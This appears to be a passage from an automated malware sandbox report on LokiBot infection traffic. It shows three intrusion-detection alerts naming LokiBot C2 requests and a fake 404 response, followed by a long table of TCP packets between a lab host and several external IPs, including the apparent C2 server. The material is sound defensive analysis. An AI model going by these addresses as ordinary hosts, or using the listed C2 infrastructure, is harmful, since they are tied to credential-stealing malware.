2024-10-25T19:48:49.052913+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-25T19:48:49.052913+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-25T19:48:49.059047+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49238	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 19:46:28.098413944 CEST	49161	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:28.098455906 CEST	443	49161	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:28.098539114 CEST	49161	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:28.107156992 CEST	49161	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:28.107171059 CEST	443	49161	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:28.736172915 CEST	443	49161	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:28.736247063 CEST	49161	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:28.750447989 CEST	49161	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:28.750478983 CEST	443	49161	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:28.750874043 CEST	443	49161	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:28.750929117 CEST	49161	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:28.845942020 CEST	49161	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:28.887337923 CEST	443	49161	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:29.650804043 CEST	443	49161	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:29.651163101 CEST	443	49161	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:29.651575089 CEST	49161	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:29.654314041 CEST	49161	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:29.659748077 CEST	49161	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:29.659790993 CEST	443	49161	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:29.684473991 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:29.690376997 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:29.690448999 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:29.693373919 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:29.698751926 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.381803989 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.381877899 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.381977081 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.381999969 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.382025957 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.382045031 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.382230043 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.382246017 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.382292032 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.382320881 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.382337093 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.382350922 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.382359982 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.382370949 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.382380962 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.382671118 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.382687092 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.382724047 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.387351036 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.387399912 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.387554884 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.387571096 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.387598991 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.387615919 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.499172926 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.499190092 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.499206066 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.499219894 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.499260902 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.499260902 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.499321938 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.499337912 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.499362946 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.499380112 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.499588966 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.499603987 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.499618053 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.499624968 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.499640942 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.499651909 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.499963045 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.499988079 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.500000954 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.500003099 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.500025034 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.500041008 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.500252008 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.500267982 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.500291109 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.500307083 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.500901937 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.500942945 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.500981092 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.500996113 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.501019001 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.501034021 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.501121044 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.501137018 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.501161098 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.501176119 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.501852989 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.501869917 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.501893997 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.501912117 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.510040045 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.615884066 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.615922928 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.615940094 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.615936995 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.615989923 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.615989923 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.616067886 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.616092920 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.616106987 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.616108894 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.616125107 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.616138935 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.616437912 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.616482019 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.616497040 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.616511106 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.616537094 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.616553068 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.616796970 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.616822004 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.616836071 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.616837978 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.616869926 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.616884947 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.617070913 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.617086887 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.617113113 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.617129087 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.617429018 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.617469072 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.617486954 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.617502928 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.617525101 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.617539883 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.617747068 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.617762089 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.617777109 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.617794991 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.617810011 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.618432999 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.618448973 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.618463993 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.618472099 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.618489027 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.618489027 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.732839108 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.732888937 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.732923985 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.732932091 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.732978106 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.732978106 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.733047009 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.733063936 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.733112097 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.733112097 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.733350039 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.733366013 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.733393908 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.733412027 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.733542919 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.733592033 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.733609915 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.733624935 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.733633041 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.733680010 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.733966112 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.733980894 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.733997107 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.734010935 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.734013081 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.734023094 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.734035015 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.734051943 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.734576941 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.734592915 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.734618902 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.734637022 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.734800100 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.734816074 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.734832048 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.734842062 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.734857082 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.734877110 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.735057116 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.735101938 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.776525974 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.776582956 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.776828051 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.776869059 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.850338936 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.850374937 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.850390911 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.850456953 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.850702047 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.850718021 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.850733042 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.850744963 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.850744963 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.850749969 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.850771904 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.850792885 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.851234913 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.851250887 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.851268053 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.851283073 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.851284027 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.851298094 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.851301908 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.851334095 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.851352930 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.851876020 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.851900101 CEST	80	49162	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:30.851933002 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.851949930 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.930649042 CEST	49163	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:30.930694103 CEST	443	49163	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:30.930752039 CEST	49163	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:30.942473888 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.942507982 CEST	49162	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:30.946120977 CEST	49163	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:30.946137905 CEST	443	49163	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:31.713999033 CEST	443	49163	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:31.714112997 CEST	49163	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:31.721318960 CEST	49163	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:31.721334934 CEST	443	49163	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:31.721743107 CEST	443	49163	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:31.722918987 CEST	49163	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:31.825429916 CEST	49163	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:31.867373943 CEST	443	49163	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:32.404757023 CEST	443	49163	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:32.404823065 CEST	49163	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:32.404853106 CEST	443	49163	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:32.404901981 CEST	49163	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:32.404911041 CEST	443	49163	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:32.404931068 CEST	443	49163	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:32.404953003 CEST	49163	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:32.404972076 CEST	49163	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:32.406471014 CEST	49163	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:32.406485081 CEST	443	49163	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:32.415971994 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:32.421427011 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:32.421498060 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:32.421638012 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:32.426997900 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.094748974 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.094780922 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.094800949 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.094810963 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.094841003 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.094841003 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.095031977 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.095043898 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.095057011 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.095069885 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.095072031 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.095087051 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.095105886 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.095485926 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.095526934 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.095980883 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.095993996 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.096019983 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.096038103 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.100203037 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.100254059 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.100254059 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.100291014 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.100426912 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.100466967 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.121313095 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.213854074 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.213948011 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.213954926 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.213972092 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.214080095 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.214152098 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.214159012 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.214195013 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.214445114 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.214550972 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.214551926 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.214560032 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.214592934 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.214827061 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.214833975 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.214886904 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.215090990 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.215178013 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.215193987 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.215202093 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.215253115 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.215555906 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.215570927 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.215614080 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.216456890 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.216542006 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.216553926 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.216603994 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.216747046 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.216754913 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.216792107 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.333076000 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.333089113 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.333101988 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.333173037 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.333327055 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.333333015 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.333339930 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.333372116 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.333393097 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.333673000 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.333849907 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.333856106 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.333894968 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.334079027 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.334203005 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.334208965 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.334214926 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.334222078 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.334244967 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.334258080 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.334628105 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.334712982 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.334728956 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.334739923 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.334923029 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.334929943 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.334944010 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.334984064 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.335299015 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.335308075 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.335361004 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.451989889 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.452018023 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.452028990 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.452140093 CEST	80	49164	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:33.452156067 CEST	49164	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:33.452198982 CEST	80	49164	192.3.176.141	192.168.2.22
